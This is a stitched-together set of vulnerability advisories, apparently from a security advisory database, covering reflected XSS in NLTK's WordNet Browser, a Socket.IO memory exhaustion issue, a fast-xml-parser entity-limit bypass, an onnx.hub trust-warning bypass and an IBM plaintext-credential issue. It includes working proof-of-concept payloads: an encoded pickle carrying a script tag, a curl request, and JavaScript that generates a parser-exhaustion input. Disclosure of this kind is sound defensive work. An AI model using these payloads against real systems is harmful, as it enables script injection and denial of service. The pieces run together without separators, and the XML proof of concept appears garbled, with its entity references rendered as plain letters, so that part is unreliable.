Summary nltk.app.wordnetapp contains a reflected cross-site scripting issue in the lookup... route. A crafted lookup<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details The vulnerable flow is in nltk/app/wordnetapp.py:
- nltk/app/wordnetapp.py:144 - Requests starting with lookup are handled as HTML responses: - page, word = pagefromhref(sp)
- nltk/app/wordnetapp.py:755 - pagefromhref() calls pagefromreference(Reference.decode(href))
- nltk/app/wordnetapp.py:769 - word = href.word
- nltk/app/wordnetapp.py:796 - If no results are found, word is inserted directly into the HTML body: - body = "The word or words '%s' were not found in the dictionary." % word
This is inconsistent with the search route, which does escape user input:
- nltk/app/wordnetapp.py:136 - word = html.escape(...)
As a result, a malicious lookup... payload can inject script into the response page.
The issue is exploitable because:
- Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded word is reflected into HTML without html.escape(). - The server is started with HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.
PoC 1. Start the WordNet Browser in an isolated Docker environment:
bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8002, False)"
2. Use the following crafted payload, which decodes to:
python ("<script>alert(1)</script>", {})
Encoded payload:
text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
3. Request the vulnerable route:
bash curl -s "http://127.0.0.1:8002/lookupgAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
4. Observed result:
text The word or words '<script>alert(1)</script>' were not found in the dictionary. <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
python import base64 import pickle
from nltk.app.wordnetapp import pagefromhref
payload = base64.urlsafeb64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode()
page, word = pagefromhref(payload) print(word) print("<script>alert(1)</script>" in page)
Observed output:
text WORD= <script>alert(1)</script> HASSCRIPT= True
Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnetapp as a local or self-hosted HTTP service and open attacker-controlled links.
Impact
A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.
Patches
| Version range | Used by | Fixed version | |------------------|--------------------------------------------|---------------| | >=4.0.0 <4.2.6 | socket.io@4.x and socket.io-client@4.x | 4.2.6 | | >=3.4.0 <3.4.4 | socket.io@2.x | 3.4.4 | | <3.3.5 | socket.io-client@2.x | 3.3.5 |
Workarounds
There is no known workaround except upgrading to a safe version.
For more information
If you have any questions or comments about this advisory:
- Open a discussion here
Summary
The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.
An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.
Affected Versions
fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)
Root Cause
In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:
1. Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix. 2. Lines 674-677: lastEntities loop — replaces standard entities including numdec (/&#([0-9]{1,7});/g) and numhex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.
The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.
Proof of Concept
javascript const { XMLParser } = require('fast-xml-parser');
// Even with strict explicit limits, numeric entities bypass them const parser = new XMLParser({ processEntities: { enabled: true, maxTotalExpansions: 10, maxExpandedLength: 100, maxEntityCount: 1, maxEntitySize: 10 } });
// 100K numeric entity references — should be blocked by maxTotalExpansions=10 const xml = <root>${'A'.repeat(100000)}</root>; const result = parser.parse(xml);
// Output: 500,000 chars — bypasses maxExpandedLength=100 completely console.log('Output length:', result.root.length); // 500000 console.log('Expected max:', 100); // limit was 100
Results: - 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000) - 1M references → 5,000,000 char output, ~147MB memory consumed - Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars - Hex entities (A) exhibit the same bypass
Impact
Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: - Excessive memory allocation (147MB+ for 1M entity references) - CPU consumption during regex replacement - Potential process crash via OOM
This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.
Suggested Fix
Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.
Workaround
Set htmlEntities:false
Summary
A security control bypass exists in onnx.hub.load() due to improper logic in the repository trust verification mechanism. While the function is designed to warn users when loading models from non-official sources, the use of the silent=True parameter completely suppresses all security warnings and confirmation prompts. The Technical Flaw The vulnerability is located in onnx/hub.py. The security gate uses a short-circuit evaluation that prioritizes the "silent" preference over the trust requirement: Python if not verifyreporef(repo) and not silent: # This block (Warning + User Input) is SKIPPED if silent=True print("The model repo... is not trusted") if input().lower() != "y": return None Key Points of Failure: Complete Suppression: If a developer or a third-party library sets silent=True, the application will download and execute models from any attacker-controlled GitHub repository without notifying the user. Integrity Verification Bypass: The SHA256 integrity check validates the model against a manifest file. Since the attacker controls the repository, they also control the manifest, allowing them to provide a "valid" hash for a malicious model. Impact This vulnerability transforms a standard model-loading function into a vector for Zero-Interaction Supply-Chain Attacks. When chained with file-system vulnerabilities , an attacker can silently exfiltrate sensitive files ( SSH keys, cloud credentials) from the victim's machine the moment the model is loaded.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.3.0, 5.3.1 stores user credentials in plain text which can be read by a local user.